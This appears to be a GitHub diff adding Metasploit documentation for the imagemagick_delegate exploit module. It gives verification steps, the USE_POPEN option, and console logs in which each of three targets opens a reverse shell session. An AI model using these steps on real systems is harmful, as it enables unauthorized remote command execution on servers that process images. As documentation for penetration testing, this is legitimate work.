File tree Expand file tree Collapse file tree 1 file changed +54
-0
lines changed
documentation/modules/exploit/unix/fileformat Expand file tree Collapse file tree 1 file changed +54
-0
lines changed Original file line number Diff line number Diff line change
1
+ ## Vulnerable Application
2
+
3
+ ImageMagick
4
+
5
+ ## Verification Steps
6
+
7
+ Example steps in this format:
8
+
9
+ 1 . Install the ImageMagick
10
+ 2 . Start msfconsole
11
+ 3 . Do: ``` use exploits/unix/fileformat/imagemagick_delegate ```
12
+ 4 . Do: ``` run ```
13
+ 5 . convert msf.png msf.jpg
14
+
15
+ ## Options
16
+
17
+ ** USE_POPEN**
18
+
19
+ When the default option ` true ` is used, targets 0 (SVG file) and 1 (MVG file) are valid
20
+ When the option is set to ` false ` , target 2 (PS file) is valid
21
+
22
+ ## Scenarios
23
+
24
+ ## popen=true
25
+ ```
26
+ msf exploit(imagemagick_delegate) > set target 0
27
+ msf exploit(imagemagick_delegate) > run
28
+
29
+ [*] Started reverse TCP handler on 1.1.1.1:4444
30
+ [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
31
+ [*] Command shell session 1 opened (1.1.1.11:4444 -> 1.1.1.1:57212) at 2016-10-28 12:47:06 -0500
32
+ ```
33
+
34
+ ```
35
+ msf exploit(imagemagick_delegate) > set target 1
36
+ msf exploit(imagemagick_delegate) > run
37
+
38
+ [*] Started reverse TCP handler on 10.6.0.186:4444
39
+ [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
40
+ [*] Command shell session 2 opened (1.1.1.1:4444 -> 1.1.1.1:64308) at 2016-10-28 15:48:40 -0500
41
+ ```
42
+
43
+ ## popen=false
44
+ ```
45
+ msf exploit(imagemagick_delegate) > set target 2
46
+ target => 2
47
+ msf exploit(imagemagick_delegate) > set USE_POPEN false
48
+ USE_POPEN => false
49
+ msf exploit(imagemagick_delegate) > run
50
+
51
+ [*] Started reverse TCP handler on 1.1.1.1:4444
52
+ [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
53
+ [*] Command shell session 5 opened (1.1.1.1:4444 -> 1.1.1.1:64772) at 2016-10-28 15:58:03 -0500
54
+ ```
You can’t perform that action at this time.
0 commit comments